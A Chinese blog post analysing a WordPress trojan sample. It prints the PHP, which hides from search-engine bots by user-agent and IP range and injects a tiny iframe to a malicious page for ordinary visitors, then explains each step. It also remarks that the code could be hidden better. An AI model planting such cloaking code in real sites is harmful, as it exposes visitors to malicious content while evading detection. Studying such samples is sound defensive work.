一个 Wordpress 木马样本分析

撰写于 2011年9月18日 修改于 2016年7月19日 分类 建站相关 标签 php / wordpress / 安全

饭否看到zuola说得到一个wordpress木马脚本,于是就点了连接,并简单的看了看这个样本。原理比较简单,先判断访问来源是否是搜索引擎的蜘蛛或bot,再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。

将源代码做了个简单的整理如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api');
$stop_ips_masks = array(
array('216.239.32.0','216.239.63.255'),
array('64.68.80.0' ,'64.68.87.255' ),
... ... ...
... ... ...
array('72.30.0.0','72.30.255.255'),
array('38.0.0.0','38.255.255.255')
);
$my_ip2long = sprintf('%u',ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf('%u',ip2long($IPs[0]));
$second_d=sprintf('%u',ip2long($IPs[1]));
if ($my_ip2long >= $first_d &amp;&amp; $my_ip2long <= $second_d) {
$bot = TRUE;
break;
}
}
foreach ($user_agent_to_filter as $bot_sign){
if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){
$bot = true;
break;
}
}
if (!$bot) {
echo '<iframe src='http://whsej........o=1' width='3' height='3'></iframe>'
}

1、环境配置与变量声明

error_reporting(0)是为了保证在任何情况下都不报错。

$bot是声音了一个flag,默认值为false,从后面的情况来看,这个是用来表明当前访问者是否是真正的浏览用户。

$user_agent_to_filter和$stop_ips_masks,前者是一维数据,存储了一大堆需要排除的浏览器user_agent,后者是个二维数据,存储了若干个ip段,这些ip段经查询,大都是搜索引擎的。

2、访问者ip的判断

接下来,是通过ip地址和浏览器user agent来进行用户是否是普通浏览器的判断。

1
2
3
4
5
6
7
8
9
10
$my_ip2long = sprintf('%u',ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf('%u',ip2long($IPs[0]));
$second_d=sprintf('%u',ip2long($IPs[1]));
if ($my_ip2long >= $first_d &amp;&amp; $my_ip2long <= $second_d) {
$bot = TRUE;
break;
}
}

ip2long这个函数可以将ip地址转换成一个整数,sprintf(‘%u’, xxx)将这个int转换成无符号数。

foreach在$stop_ips_masks中进行循环,取二维数据中的每一个数组,$frist_d和$second_d分别存储ip段起点ip和止点ip的无符号整数值,再用接下来的if进行判断,当前访问者ip是否在$stop_ips_masks所指定的范围内,若是,则将$bot量置为true。

3、访问者user agent的判断

1
2
3
4
5
6
foreach ($user_agent_to_filter as $bot_sign){
if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){
$bot = true;
break;
}
}

这一部分的判断与ip判断类似,从$user_agent_to_filter中读取每一个值,再与浏览者的user agent进行对比,如果发现是机器人或者蜘蛛,则将$bot置为true。

4、放置iframe

if(!$bot)控制当访问者是普通浏览器时,即放置这个iframe,iframe的scr是无耻者放置乱七八糟内容的网页——chrome已经将它block了。

5、结论

这个脚本可以用在任何php写成的网站中。而且,这段代码其实可以隐藏得更好,而不是这样连裤衩都不穿的裸奔。

Site by Yifei Zhang using Hexo & Random

Yifei Zhang的博主是一名Node.js程序员,博客的内容会涉及电影 / 生活 / 吐槽 / JavaScript / PHP / Node.js / Express / MongoDB / MySQL / Redis / AngularJS / jQuery / HTML。

Hide